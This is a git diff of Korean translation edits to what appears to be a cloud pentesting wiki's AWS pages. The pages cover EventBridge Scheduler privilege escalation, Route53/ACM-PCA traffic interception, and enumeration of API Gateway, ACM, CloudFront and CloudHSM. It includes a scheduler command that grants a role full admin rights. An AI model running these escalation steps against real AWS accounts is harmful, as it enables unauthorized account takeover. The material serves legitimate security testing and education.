이를 수행할 방법을 찾지 못했습니다. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md index eaec87175..067651e7d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -4,7 +4,7 @@ ## EventBridge Scheduler -자세한 정보는 EventBridge Scheduler에서 확인하세요: +EventBridge Scheduler에 대한 자세한 정보는: {{#ref}} ../aws-services/eventbridgescheduler-enum.md @@ -12,9 +12,9 @@ ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -이 권한을 가진 공격자는 **`create`|`update` 스케줄러를 만들고 이를 연결된 스케줄러 역할의 권한을 악용하여 모든 작업을 수행할 수 있습니다.** +이 권한을 가진 공격자는 **`create`|`update` 스케줄러를 생성하고 이를 연결된 스케줄러 역할의 권한을 악용하여 모든 작업을 수행할 수 있습니다.** -예를 들어, 그들은 스케줄을 구성하여 **Lambda 함수를 호출**하도록 설정할 수 있습니다. +예를 들어, 그들은 스케줄을 구성하여 **Lambda 함수를 호출**하도록 할 수 있습니다. ```bash aws scheduler create-schedule \ --name MyLambdaSchedule \ @@ -37,7 +37,7 @@ aws scheduler create-schedule \ "Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" }' ``` -## References +## 참고 문헌 - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html) - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md index 1503ede8d..6a3b2c34a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md @@ -11,19 +11,19 @@ Route53에 대한 자세한 정보는 다음을 확인하세요: ### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` > [!NOTE] -> 이 공격을 수행하려면 대상 계정에 이미 [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)**가 설정되어 있어야 하며, VPC의 EC2 인스턴스는 이미 이를 신뢰하도록 인증서를 가져와야 합니다. 이 인프라가 구축된 상태에서 AWS API 트래픽을 가로채기 위한 다음 공격을 수행할 수 있습니다. +> 이 공격을 수행하려면 대상 계정에 이미 [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)**가 설정되어 있어야 하며, VPC의 EC2 인스턴스는 이미 신뢰할 수 있는 인증서를 가져와야 합니다. 이 인프라가 구축되면 AWS API 트래픽을 가로채기 위한 다음 공격을 수행할 수 있습니다. 열거 부분에 대해 **권장되지만 필수는 아닌** 다른 권한: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` -AWS VPC에 여러 클라우드 네이티브 애플리케이션이 서로 및 AWS API와 통신하고 있다고 가정합니다. 마이크로서비스 간의 통신은 종종 TLS로 암호화되므로 해당 서비스에 대한 유효한 인증서를 발급할 수 있는 개인 CA가 필요합니다. **ACM-PCA가 사용되는 경우** 적대자가 **최소 권한 세트를 사용하여 route53과 acm-pca 개인 CA를 모두 제어할 수 있는 접근 권한을 얻으면**, **AWS API에 대한 애플리케이션 호출을 가로챌 수 있습니다**. 이로 인해 IAM 권한을 장악할 수 있습니다. +AWS VPC에 여러 클라우드 네이티브 애플리케이션이 서로 및 AWS API와 통신하고 있다고 가정합니다. 마이크로서비스 간의 통신은 종종 TLS로 암호화되므로 해당 서비스에 대한 유효한 인증서를 발급할 수 있는 개인 CA가 필요합니다. **ACM-PCA가 사용되는 경우** 적대자가 위에 설명된 최소 권한 세트를 사용하여 **route53과 acm-pca 개인 CA를 모두 제어할 수 있는 접근 권한을 얻으면**, **AWS API에 대한 애플리케이션 호출을 가로챌 수 있습니다** 그들의 IAM 권한을 장악하게 됩니다. 이는 다음과 같은 이유로 가능합니다: -- AWS SDK는 [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)이 없습니다. +- AWS SDK는 [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)을 지원하지 않습니다. - Route53은 AWS API 도메인 이름에 대한 개인 호스팅 영역 및 DNS 레코드를 생성할 수 있습니다. -- ACM-PCA의 개인 CA는 특정 공통 이름에 대해서만 인증서 서명을 제한할 수 없습니다. +- ACM-PCA의 개인 CA는 특정 공통 이름에 대해서만 인증서를 서명하도록 제한할 수 없습니다. -**잠재적 영향:** 트래픽에서 민감한 정보를 가로채어 간접적인 권한 상승. +**잠재적 영향:** 트래픽에서 민감한 정보를 가로채어 간접적인 권한 상승이 발생할 수 있습니다. #### Exploitation diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index b90a9def7..2640ec654 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -1,30 +1,30 @@ -# AWS - Services +# AWS - 서비스 {{#include ../../../banners/hacktricks-training.md}} -## Types of services +## 서비스 유형 -### Container services +### 컨테이너 서비스 -서비스가 컨테이너 서비스에 해당하는 경우 다음과 같은 특성이 있습니다: +컨테이너 서비스에 해당하는 서비스는 다음과 같은 특징을 가지고 있습니다: - 서비스 자체는 **별도의 인프라 인스턴스**에서 실행됩니다, 예를 들어 EC2. - **AWS**는 **운영 체제와 플랫폼 관리**를 담당합니다. - AWS에서 제공하는 관리형 서비스는 일반적으로 **컨테이너로 간주되는 실제 애플리케이션**에 대한 서비스입니다. -- 이러한 컨테이너 서비스의 사용자로서, **네트워크 접근 보안 관리, 예를 들어 네트워크 접근 제어 목록 규칙 및 방화벽**을 포함한 여러 관리 및 보안 책임이 있습니다. +- 이러한 컨테이너 서비스의 사용자로서, **네트워크 접근 보안 관리, 예를 들어 네트워크 접근 제어 목록 규칙 및 방화벽**과 같은 여러 관리 및 보안 책임이 있습니다. - 또한, 존재하는 경우 플랫폼 수준의 신원 및 접근 관리. -- **AWS** 컨테이너 서비스의 **예**로는 관계형 데이터베이스 서비스, 엘라스틱 맵리듀스, 엘라스틱 빈스톡이 있습니다. +- **AWS** 컨테이너 서비스의 **예시**로는 관계형 데이터베이스 서비스, 엘라스틱 맵리듀스, 엘라스틱 빈스톡이 있습니다. -### Abstract Services +### 추상 서비스 -- 이러한 서비스는 **클라우드 애플리케이션이 구축된 플랫폼 또는 관리 계층에서 제거되고 추상화된** 것입니다. +- 이러한 서비스는 **클라우드 애플리케이션이 구축되는 플랫폼 또는 관리 계층에서 제거되고 추상화된** 서비스입니다. - 서비스는 AWS 애플리케이션 프로그래밍 인터페이스, API를 사용하여 엔드포인트를 통해 접근됩니다. - **기반 인프라, 운영 체제 및 플랫폼은 AWS에 의해 관리됩니다**. - 추상화된 서비스는 기반 인프라가 공유되는 다중 테넌시 플랫폼을 제공합니다. - **데이터는 보안 메커니즘을 통해 격리됩니다**. -- 추상 서비스는 IAM과 강력한 통합을 가지며, **추상 서비스의 예**로는 S3, DynamoDB, 아마존 글래시어, SQS가 있습니다. +- 추상 서비스는 IAM과 강력한 통합을 가지며, **추상 서비스의 예시**로는 S3, DynamoDB, 아마존 글래시어, SQS가 있습니다. -## Services Enumeration +## 서비스 열거 **이 섹션의 페이지는 AWS 서비스에 따라 정렬되어 있습니다. 여기에서 서비스에 대한 정보(작동 방식 및 기능)를 찾을 수 있으며, 이를 통해 권한 상승을 할 수 있습니다.** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index 107705f85..165eed346 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -6,7 +6,7 @@ ### 기본 정보 -AWS API Gateway는 개발자가 **대규모로 API를 생성, 게시 및 관리**할 수 있도록 설계된 Amazon Web Services (AWS)에서 제공하는 종합 서비스입니다. 이는 애플리케이션의 진입점으로 작용하며, 개발자가 규칙 및 절차의 프레임워크를 설정할 수 있도록 허용합니다. 이 프레임워크는 외부 사용자가 애플리케이션 내의 특정 데이터나 기능에 접근하는 방식을 관리합니다. +AWS API Gateway는 개발자가 **대규모로 API를 생성, 게시 및 관리**할 수 있도록 설계된 Amazon Web Services (AWS)에서 제공하는 종합 서비스입니다. 이는 애플리케이션의 진입점 역할을 하며, 개발자가 규칙 및 절차의 프레임워크를 설정할 수 있도록 허용합니다. 이 프레임워크는 외부 사용자가 애플리케이션 내의 특정 데이터나 기능에 접근하는 방식을 관리합니다. API Gateway는 **API에 대한 요청이 어떻게 처리되어야 하는지를 정의**할 수 있게 해주며, 특정 메서드(예: GET, POST, PUT, DELETE) 및 리소스를 가진 사용자 정의 API 엔드포인트를 생성할 수 있습니다. 또한 개발자가 애플리케이션에서 API를 호출하기 쉽게 하기 위해 클라이언트 SDK(소프트웨어 개발 키트)를 생성할 수 있습니다. @@ -22,9 +22,9 @@ API Gateway는 **API에 대한 요청이 어떻게 처리되어야 하는지를 1. **리소스**: API Gateway에서 리소스는 **API의 구조를 구성하는 요소**입니다. 이들은 **API의 다양한 경로 또는 엔드포인트**를 나타내며, API가 지원하는 다양한 작업에 해당합니다. 리소스는 각 경로(/, 또는 /users, 또는 /user/{id}) **내의 각 메서드**(예: GET, POST, PUT, DELETE)입니다. 2. **단계**: API Gateway의 단계는 개발, 스테이징 또는 프로덕션과 같은 **API의 다양한 버전 또는 환경**을 나타냅니다. 단계를 사용하여 **API의 여러 버전을 동시에 관리 및 배포**할 수 있으며, 이를 통해 프로덕션 환경에 영향을 주지 않고 새로운 기능이나 버그 수정을 테스트할 수 있습니다. 단계는 또한 현재 단계에 따라 API의 동작을 구성하는 데 사용할 수 있는 키-값 쌍인 **단계 변수를 지원**합니다. 예를 들어, 단계 변수를 사용하여 단계에 따라 API 요청을 다른 Lambda 함수나 기타 백엔드 서비스로 전달할 수 있습니다. - 단계는 API Gateway 엔드포인트의 URL 시작 부분에 표시됩니다. -3. **인증자**: API Gateway의 인증자는 요청이 진행되기 전에 호출자의 신원을 확인하여 **API에 대한 접근을 제어**하는 역할을 합니다. **AWS Lambda 함수**를 사용자 정의 인증자로 사용할 수 있으며, 이를 통해 자체 인증 및 권한 부여 논리를 구현할 수 있습니다. 요청이 들어오면 API Gateway는 요청의 인증 토큰을 Lambda 인증자에게 전달하고, 인증자는 토큰을 처리하여 호출자가 수행할 수 있는 작업을 결정하는 IAM 정책을 반환합니다. API Gateway는 **AWS Identity and Access Management (IAM)** 및 **Amazon Cognito**와 같은 **내장 인증자**도 지원합니다. -4. **리소스 정책**: API Gateway의 리소스 정책은 **API에 대한 접근 권한을 정의하는 JSON 문서**입니다. 이는 IAM 정책과 유사하지만 API Gateway에 맞게 특별히 조정된 것입니다. 리소스 정책을 사용하여 API에 접근할 수 있는 사람, 호출할 수 있는 메서드, 연결할 수 있는 IP 주소 또는 VPC를 제어할 수 있습니다. **리소스 정책은 인증자와 함께 사용하여 API에 대한 세밀한 접근 제어를 제공할 수 있습니다.** -- 리소스 정책이 수정된 후 API가 **다시 배포되어야** 효과가 발생합니다. +3. **인증자**: API Gateway의 인증자는 요청이 진행되기 전에 호출자의 신원을 확인하여 **API에 대한 접근을 제어**하는 역할을 합니다. **AWS Lambda 함수**를 사용자 정의 인증자로 사용할 수 있으며, 이를 통해 자체 인증 및 권한 부여 로직을 구현할 수 있습니다. 요청이 들어오면 API Gateway는 요청의 인증 토큰을 Lambda 인증자에게 전달하고, 인증자는 토큰을 처리하여 호출자가 수행할 수 있는 작업을 결정하는 IAM 정책을 반환합니다. API Gateway는 **AWS Identity and Access Management (IAM)** 및 **Amazon Cognito**와 같은 **내장 인증자**도 지원합니다. +4. **리소스 정책**: API Gateway의 리소스 정책은 **API에 대한 접근 권한을 정의하는 JSON 문서**입니다. 이는 IAM 정책과 유사하지만 API Gateway에 맞게 특별히 조정된 것입니다. 리소스 정책을 사용하여 누가 API에 접근할 수 있는지, 어떤 메서드를 호출할 수 있는지, 어떤 IP 주소나 VPC에서 연결할 수 있는지를 제어할 수 있습니다. **리소스 정책은 인증자와 함께 사용하여 API에 대한 세밀한 접근 제어를 제공할 수 있습니다.** +- 리소스 정책이 수정된 후에는 API를 **다시 배포해야** 효과가 발생합니다. ### 로깅 @@ -33,7 +33,7 @@ API Gateway는 **API에 대한 요청이 어떻게 처리되어야 하는지를 ### 열거 > [!TIP] -> 리소스를 열거하기 위한 AWS API(**`apigateway`** 및 **`apigatewayv2`**)에서 필요한 유일한 권한이자 부여 가능한 유일한 읽기 권한은 **`apigateway:GET`**입니다. 이를 통해 **모든 것을 열거할 수 있습니다.** +> 리소스를 열거하기 위한 두 가지 AWS API(**`apigateway`** 및 **`apigatewayv2`**)에서 필요한 유일한 권한이자 유일한 읽기 권한은 **`apigateway:GET`**입니다. 이를 통해 **모든 것을 열거할 수 있습니다.** {{#tabs }} {{#tab name="apigateway" }} @@ -129,7 +129,7 @@ https://.execute-api..amazonaws.com// ### 리소스 정책 리소스 정책을 사용하여 API 엔드포인트를 호출할 수 있는 대상을 정의할 수 있습니다.\ -다음 예제에서는 **지정된 IP가** GET을 통해 엔드포인트 `/resource_policy`를 호출할 수 없음을 볼 수 있습니다. +다음 예제에서는 **지정된 IP가** GET을 통해 `/resource_policy` 엔드포인트를 호출할 수 없음을 볼 수 있습니다.
@@ -139,7 +139,7 @@ https://.execute-api..amazonaws.com//
-이 설정이 되어 있으면 인증 없이 엔드포인트에 접근하려고 할 때 `{"message":"Missing Authentication Token"}` 오류가 발생합니다. +이 설정이 되어 있을 때, 인증 없이 엔드포인트에 접근하려고 하면 `{"message":"Missing Authentication Token"}` 오류가 발생합니다. 애플리케이션에서 예상되는 토큰을 생성하는 쉬운 방법 중 하나는 **curl**을 사용하는 것입니다. ```bash @@ -155,9 +155,9 @@ $ curl -X https://.execute-api..amazonaws.com//< ``` AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2 ``` -다른 경우에는 **Authorizer**가 **잘못 코딩**되었을 수 있으며, **Authorization header** 안에 **무엇이든** 보내면 **숨겨진 콘텐츠를 볼 수 있습니다**. +다른 경우에는 **Authorizer**가 **잘못 코딩**되었을 수 있으며, **Authorization header** 안에 **무엇이든** 보내면 **숨겨진 콘텐츠를 볼 수 있게** 됩니다. -### Request Signing Using Python +### Python을 사용한 요청 서명 ```python pip install requests @@ -184,14 +184,14 @@ response = requests.get(url, auth=awsauth) print(response.text) ``` -### Custom Lambda Authorizer +### 커스텀 람다 인증자 주어진 토큰을 기반으로 하는 람다를 사용하여 **IAM 정책을 반환**하여 사용자가 **API 엔드포인트를 호출할 수 있는 권한이 있는지** 확인할 수 있습니다.\ -저자는 사용할 각 리소스 메서드를 설정할 수 있습니다. +인증자를 사용할 각 리소스 메서드를 설정할 수 있습니다.
-Lambda Authorizer Code Example +람다 인증자 코드 예제 ```python import json diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md index 529d258c6..106071038 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md @@ -2,15 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 -**AWS Certificate Manager (ACM)**는 AWS 서비스 및 내부 리소스에 대한 **SSL/TLS 인증서의 프로비저닝, 관리 및 배포**를 간소화하기 위해 제공되는 서비스입니다. 인증서 구매, 업로드 및 갱신과 같은 수동 프로세스의 필요성이 **제거**됩니다. 이를 통해 사용자는 **Elastic Load Balancers, Amazon CloudFront 배포 및 API Gateway의 API**를 포함한 다양한 AWS 리소스에서 인증서를 효율적으로 요청하고 구현할 수 있습니다. +**AWS Certificate Manager (ACM)**은 **AWS 서비스 및 내부 리소스에 대한 SSL/TLS 인증서의 프로비저닝, 관리 및 배포**를 간소화하기 위해 제공되는 서비스입니다. 인증서 구매, 업로드 및 갱신과 같은 수동 프로세스의 필요성이 **제거**됩니다. 이를 통해 사용자는 **Elastic Load Balancers, Amazon CloudFront 배포 및 API Gateway의 API**를 포함한 다양한 AWS 리소스에서 인증서를 효율적으로 요청하고 구현할 수 있습니다. -ACM의 주요 기능은 **인증서의 자동 갱신**으로, 관리 오버헤드를 크게 줄입니다. 또한, ACM은 **내부 사용을 위한 개인 인증서**의 생성 및 중앙 집중식 관리를 지원합니다. Elastic Load Balancing, Amazon CloudFront 및 Amazon API Gateway와 같은 통합 AWS 서비스에 대한 SSL/TLS 인증서는 ACM을 통해 추가 비용 없이 제공되지만, 사용자는 애플리케이션에서 사용하는 AWS 리소스와 통합 ACM 서비스 외부에서 사용하는 각 **개인 인증 기관(CA)** 및 개인 인증서에 대한 월별 요금에 대한 비용을 책임집니다. +ACM의 주요 기능은 **인증서의 자동 갱신**으로, 관리 오버헤드를 크게 줄여줍니다. 또한, ACM은 **내부 사용을 위한 개인 인증서**의 생성 및 중앙 집중식 관리를 지원합니다. Elastic Load Balancing, Amazon CloudFront 및 Amazon API Gateway와 같은 통합 AWS 서비스에 대한 SSL/TLS 인증서는 ACM을 통해 추가 비용 없이 제공되지만, 사용자는 애플리케이션에서 사용하는 AWS 리소스와 각 **개인 인증 기관(CA)** 및 통합 ACM 서비스 외부에서 사용되는 개인 인증서에 대한 월별 요금에 대한 비용을 책임져야 합니다. -**AWS Private Certificate Authority**는 **관리형 개인 CA 서비스**로 제공되어 ACM의 기능을 향상시키고 개인 인증서를 포함한 인증서 관리를 확장합니다. 이러한 개인 인증서는 조직 내 리소스를 인증하는 데 중요한 역할을 합니다. +**AWS Private Certificate Authority**는 **관리형 개인 CA 서비스**로 제공되어 ACM의 기능을 강화하고 개인 인증서 관리를 포함하도록 확장합니다. 이러한 개인 인증서는 조직 내 리소스를 인증하는 데 중요한 역할을 합니다. -## Enumeration +## 열거 ### ACM ```bash @@ -46,11 +46,11 @@ aws acm-pca get-certificate-authority-csr --certificate-authority-arn # Get CA Policy (if any) aws acm-pca get-policy --resource-arn ``` -## Privesc +## 권한 상승 TODO -## Post Exploitation +## 포스트 익스플로잇 TODO diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 6e72c9241..ae7acdbeb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,7 +4,7 @@ ## CloudFormation -AWS CloudFormation은 **AWS 리소스 관리의 효율성을 높이기 위해 설계된 서비스**입니다. 이 서비스는 사용자가 **리소스 관리에 소요되는 시간을 최소화하여 AWS에서 실행되는 애플리케이션에 더 집중할 수 있도록** 합니다. 이 서비스의 핵심 기능은 **템플릿**—원하는 AWS 리소스의 설명 모델입니다. 이 템플릿이 제공되면, CloudFormation은 지정된 리소스의 **프로비저닝 및 구성**을 담당합니다. 이 자동화는 AWS 인프라의 보다 효율적이고 오류 없는 관리를 촉진합니다. +AWS CloudFormation은 **AWS 리소스 관리의 효율성을 높이기 위해 설계된 서비스**입니다. 이 서비스는 사용자가 **리소스 관리에 소요되는 시간을 최소화하여 AWS에서 실행되는 애플리케이션에 더 집중할 수 있도록** 합니다. 이 서비스의 핵심 기능은 **템플릿**으로, 원하는 AWS 리소스의 설명 모델입니다. 이 템플릿이 제공되면, CloudFormation은 지정된 리소스의 **프로비저닝 및 구성**을 담당합니다. 이 자동화는 AWS 인프라의 보다 효율적이고 오류 없는 관리를 촉진합니다. ### Enumeration ```bash @@ -58,7 +58,7 @@ aws codestar describe-user-profile --user-arn ``` ### Privesc -다음 페이지에서 **코드스타 권한을 악용하여 권한 상승**하는 방법을 확인할 수 있습니다: +다음 페이지에서 **codestar 권한을 악용하여 권한 상승**하는 방법을 확인할 수 있습니다: {{#ref}} ../aws-privilege-escalation/aws-codestar-privesc/ diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index 06a699e2d..3b2feb37c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,9 +4,9 @@ ## CloudFront -CloudFront는 AWS의 **정적 및 동적 콘텐츠 배포를 가속화하는 콘텐츠 전송 네트워크**입니다. Amazon CloudFront를 통해 호스팅하는 콘텐츠에 대한 요청을 사용할 때, 요청은 가장 가까운 엣지 위치로 라우팅되어 최저 대기 시간으로 최상의 성능을 제공합니다. **CloudFront 액세스 로그**가 활성화되면 웹사이트 및 배포에 대한 액세스를 요청하는 각 사용자로부터의 요청을 기록할 수 있습니다. S3 액세스 로그와 마찬가지로, 이러한 로그는 **내구성이 뛰어나고 지속적인 저장을 위해 Amazon S3에 저장됩니다**. 로깅 자체를 활성화하는 데는 요금이 없지만, 로그가 S3에 저장되므로 S3에서 사용한 저장 공간에 대한 요금이 부과됩니다. +CloudFront는 AWS의 **콘텐츠 전송 네트워크로, 정적 및 동적 콘텐츠의 배포 속도를 높입니다**. Amazon CloudFront를 통해 호스팅하는 요청 콘텐츠를 사용할 때, 요청은 가장 가까운 엣지 위치로 라우팅되어 최저 대기 시간으로 최상의 성능을 제공합니다. **CloudFront 액세스 로그**가 활성화되면 웹사이트 및 배포에 대한 액세스를 요청하는 각 사용자의 요청을 기록할 수 있습니다. S3 액세스 로그와 마찬가지로, 이러한 로그는 **내구성이 뛰어나고 지속적인 저장을 위해 Amazon S3에 저장됩니다**. 로깅 자체를 활성화하는 데는 요금이 없지만, 로그가 S3에 저장되므로 S3에서 사용한 저장 공간에 대한 요금이 부과됩니다. -로그 파일은 일정 기간 동안 데이터를 캡처하며, 해당 배포에 대해 Amazon CloudFront에서 수신하는 요청의 양에 따라 생성되는 로그 파일의 양이 결정됩니다. 이러한 로그 파일은 S3에서 생성되거나 기록되지 않는다는 점을 아는 것이 중요합니다. S3는 로그 파일이 가득 차면 전달되는 장소일 뿐입니다. **Amazon CloudFront는 이러한 로그를 S3에 전달할 준비가 될 때까지 보관합니다**. 다시 말해, 이러한 로그 파일의 크기에 따라 이 전달은 **1시간에서 24시간 사이** 걸릴 수 있습니다. +로그 파일은 일정 기간 동안 데이터를 캡처하며, 해당 배포에 대해 Amazon CloudFront에서 수신하는 요청의 양에 따라 생성되는 로그 파일의 양이 달라집니다. 이러한 로그 파일은 S3에서 생성되거나 기록되지 않는다는 점을 아는 것이 중요합니다. S3는 로그 파일이 가득 차면 로그가 전달되는 곳일 뿐입니다. **Amazon CloudFront는 이러한 로그를 S3에 전달할 준비가 될 때까지 보관합니다**. 다시 말해, 이러한 로그 파일의 크기에 따라 이 전달은 **1시간에서 24시간 사이** 걸릴 수 있습니다. **기본적으로 쿠키 로깅은 비활성화되어 있지만** 이를 활성화할 수 있습니다. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index 2a8ac6fed..c3ff4b646 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -4,9 +4,9 @@ ## HSM - 하드웨어 보안 모듈 -Cloud HSM은 안전한 암호화 키 저장을 위한 FIPS 140 레벨 2 검증된 **하드웨어 장치**입니다 (CloudHSM은 하드웨어 장치이며, 가상화된 서비스가 아닙니다). 이는 5.3.13이 미리 로드된 SafeNetLuna 7000 장치입니다. 두 가지 펌웨어 버전이 있으며, 선택은 귀하의 정확한 요구에 따라 다릅니다. 하나는 FIPS 140-2 준수를 위한 것이며, 사용할 수 있는 최신 버전이 있습니다. +Cloud HSM은 안전한 암호화 키 저장을 위한 FIPS 140 레벨 2 검증된 **하드웨어 장치**입니다 (CloudHSM은 하드웨어 장치이며, 가상화된 서비스가 아닙니다). 이는 5.3.13이 미리 로드된 SafeNetLuna 7000 장치입니다. 두 가지 펌웨어 버전이 있으며, 선택하는 것은 귀하의 정확한 요구에 따라 다릅니다. 하나는 FIPS 140-2 준수를 위한 것이며, 사용할 수 있는 최신 버전이 있습니다. -CloudHSM의 특이한 점은 물리적 장치라는 것이며, 따라서 **다른 고객과 공유되지 않습니다**, 또는 일반적으로 다중 테넌트라고 불립니다. 이는 귀하의 작업 부하에 독점적으로 제공되는 전용 단일 테넌트 장치입니다. +CloudHSM의 특이한 점은 물리적 장치라는 것이며, 따라서 **다른 고객과 공유되지 않습니다**, 또는 일반적으로 다중 임대라고 불리는 것입니다. 이는 귀하의 작업 부하에 독점적으로 제공되는 전용 단일 임대 장치입니다. 일반적으로 장치는 용량이 있는 경우 15분 이내에 사용할 수 있지만, 일부 지역에서는 그렇지 않을 수 있습니다. @@ -15,48 +15,48 @@ CloudHSM의 특이한 점은 물리적 장치라는 것이며, 따라서 **다 **CloudHSM**에서는 **서비스를 스스로 확장해야 합니다**. 귀하의 솔루션을 위해 구현하기로 선택한 암호화 알고리즘에 따라 암호화 요구 사항을 처리할 수 있도록 충분한 CloudHSM 장치를 프로비저닝해야 합니다.\ 키 관리 서비스 확장은 AWS에 의해 수행되며, 수요에 따라 자동으로 확장됩니다. 따라서 사용량이 증가함에 따라 필요한 CloudHSM 장치의 수도 증가할 수 있습니다. 솔루션을 확장할 때 이를 염두에 두고, 솔루션에 자동 확장이 있는 경우, 솔루션을 서비스할 수 있는 충분한 CloudHSM 장치로 최대 확장을 고려해야 합니다. -확장과 마찬가지로, **CloudHSM의 성능은 귀하에게 달려 있습니다**. 성능은 사용되는 암호화 알고리즘과 데이터를 암호화하기 위해 키에 접근하거나 검색해야 하는 빈도에 따라 달라집니다. 키 관리 서비스 성능은 Amazon에 의해 처리되며, 수요에 따라 자동으로 확장됩니다. CloudHSM의 성능은 더 많은 장치를 추가함으로써 달성되며, 더 높은 성능이 필요하면 장치를 추가하거나 더 빠른 알고리즘으로 암호화 방법을 변경해야 합니다. +확장과 마찬가지로, **CloudHSM의 성능은 귀하에게 달려 있습니다**. 성능은 사용되는 암호화 알고리즘에 따라 다르며, 데이터를 암호화하기 위해 키에 접근하거나 검색해야 하는 빈도에 따라 달라집니다. 키 관리 서비스 성능은 Amazon에 의해 처리되며, 수요에 따라 자동으로 확장됩니다. CloudHSM의 성능은 더 많은 장치를 추가함으로써 달성되며, 더 높은 성능이 필요하면 장치를 추가하거나 더 빠른 알고리즘으로 암호화 방법을 변경해야 합니다. -귀하의 솔루션이 **다중 지역**인 경우, 두 번째 지역에 여러 **CloudHSM 장치를 추가하고, 개인 VPN 연결을 통해 지역 간 연결을 설정해야 합니다**. 이렇게 하면 연결의 모든 계층에서 트래픽이 항상 보호됩니다. 다중 지역 솔루션이 있는 경우, **키를 복제하고 운영하는 지역에 추가 CloudHSM 장치를 설정하는 방법에 대해 생각해야 합니다**. 여러 지역에 걸쳐 여섯 개 또는 여덟 개의 장치가 분산되어 암호화 키의 완전한 중복성을 가능하게 하는 시나리오에 빠르게 진입할 수 있습니다. +귀하의 솔루션이 **다중 지역**인 경우, 두 번째 지역에 여러 **CloudHSM 장치를 추가하고, 전용 VPN 연결을 통해 지역 간 연결을 설정해야 합니다**. 이는 모든 연결 계층에서 장치 간의 트래픽이 항상 보호되도록 보장하는 방법입니다. 다중 지역 솔루션이 있는 경우, **키를 복제하고 운영하는 지역에 추가 CloudHSM 장치를 설정하는 방법에 대해 생각해야 합니다**. 여러 지역에 걸쳐 여섯 개 또는 여덟 개의 장치가 분산되어 암호화 키의 완전한 중복성을 가능하게 하는 시나리오에 빠르게 진입할 수 있습니다. -**CloudHSM**은 안전한 키 저장을 위한 엔터프라이즈 클래스 서비스이며, **기업의 신뢰의 뿌리**로 사용될 수 있습니다. PKI 및 X509 구현의 인증 기관 키를 저장할 수 있습니다. AES와 같은 대칭 알고리즘에서 사용되는 대칭 키 외에도, **KMS는 대칭 키만 저장하고 물리적으로 보호합니다 (인증 기관으로 작동할 수 없음)**. 따라서 